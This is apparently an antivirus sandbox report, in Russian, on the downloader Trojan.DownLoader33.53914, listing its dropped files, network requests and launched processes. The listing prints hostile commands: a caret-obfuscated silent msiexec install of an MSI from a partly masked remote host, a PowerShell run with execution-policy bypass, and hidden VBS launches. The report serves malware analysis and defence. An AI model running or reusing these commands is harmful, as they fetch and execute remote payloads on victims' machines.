Trojan.DownLoader33.53914

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

Вредоносные функции

Создает и запускает на исполнение

Изменения в файловой системе

Создает следующие файлы

%TEMP%\mw-e1117a33-deeb-4847-8f3e-c10a6fb82c6c\msiwrapper.ini
%TEMP%\mw-e1117a33-deeb-4847-8f3e-c10a6fb82c6c\files.cab
%TEMP%\mw-e1117a33-deeb-4847-8f3e-c10a6fb82c6c\files\$dpx$.tmp\244c4c2051d28641b852738cc5553d02.tmp
%TEMP%\mw-90b5ea8d-1208-4fa8-a2b0-994fa1dea312\msiwrapper.ini
%TEMP%\mw-90b5ea8d-1208-4fa8-a2b0-994fa1dea312\files.cab
%TEMP%\mw-90b5ea8d-1208-4fa8-a2b0-994fa1dea312\files\$dpx$.tmp\e8c9bdb12c009045a9180ab9cf4c1b4b.tmp
%APPDATA%\microsoft\windows\templates\main.exe
%APPDATA%\microsoft\windows\templates\zip.vbs
%APPDATA%\creator.vbs

Перемещает следующие файлы

%TEMP%\mw-e1117a33-deeb-4847-8f3e-c10a6fb82c6c\files\$dpx$.tmp\244c4c2051d28641b852738cc5553d02.tmp в %TEMP%\mw-e1117a33-deeb-4847-8f3e-c10a6fb82c6c\files\nircmd.exe
%TEMP%\mw-90b5ea8d-1208-4fa8-a2b0-994fa1dea312\files\$dpx$.tmp\e8c9bdb12c009045a9180ab9cf4c1b4b.tmp в %TEMP%\mw-90b5ea8d-1208-4fa8-a2b0-994fa1dea312\files\nport.exe

Сетевая активность

TCP

Запросы HTTP GET

http://d.##phi.pro/s.msi
http://d.##phi.pro/sife.msi
http://gp.###hi.pro:443/socket.io/?__#################################################################################################################### via gp.##phi.pro

UDP

Другое

Создает и запускает на исполнение

'%TEMP%\mw-e1117a33-deeb-4847-8f3e-c10a6fb82c6c\files\nircmd.exe' execmd "Ms^Ie^Xe^C /i http://d.##phi.pro/sife.msi /qn"
'%TEMP%\mw-90b5ea8d-1208-4fa8-a2b0-994fa1dea312\files\nport.exe'
'%WINDIR%\syswow64\wscript.exe' %APPDATA%\Microsoft\Windows\Templates\zip.vbs
'%WINDIR%\syswow64\wscript.exe' %APPDATA%\Creator.vbs
'%APPDATA%\microsoft\windows\templates\main.exe'
'%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c "Ms^Ie^Xe^C /i http://d.##phi.pro/sife.msi /qn"' (со скрытым окном)
'%WINDIR%\syswow64\wscript.exe' %APPDATA%\Microsoft\Windows\Templates\zip.vbs' (со скрытым окном)
'%WINDIR%\syswow64\wscript.exe' %APPDATA%\Creator.vbs' (со скрытым окном)
'%APPDATA%\microsoft\windows\templates\main.exe' ' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -NoLogo -NoExit -Command -' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /d /s /c "%windir%\sysnative\cmd.exe /c <SYSTEM32>\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files
'%WINDIR%\syswow64\cmd.exe' /c "Ms^Ie^Xe^C /i http://d.##phi.pro/sife.msi /qn"
'%WINDIR%\syswow64\msiexec.exe' /i http://d.##phi.pro/sife.msi /qn
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -NoLogo -NoExit -Command -
'%WINDIR%\syswow64\cmd.exe' /d /s /c "%windir%\sysnative\cmd.exe /c <SYSTEM32>\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"
'<SYSTEM32>\cmd.exe' /c <SYSTEM32>\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
'<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid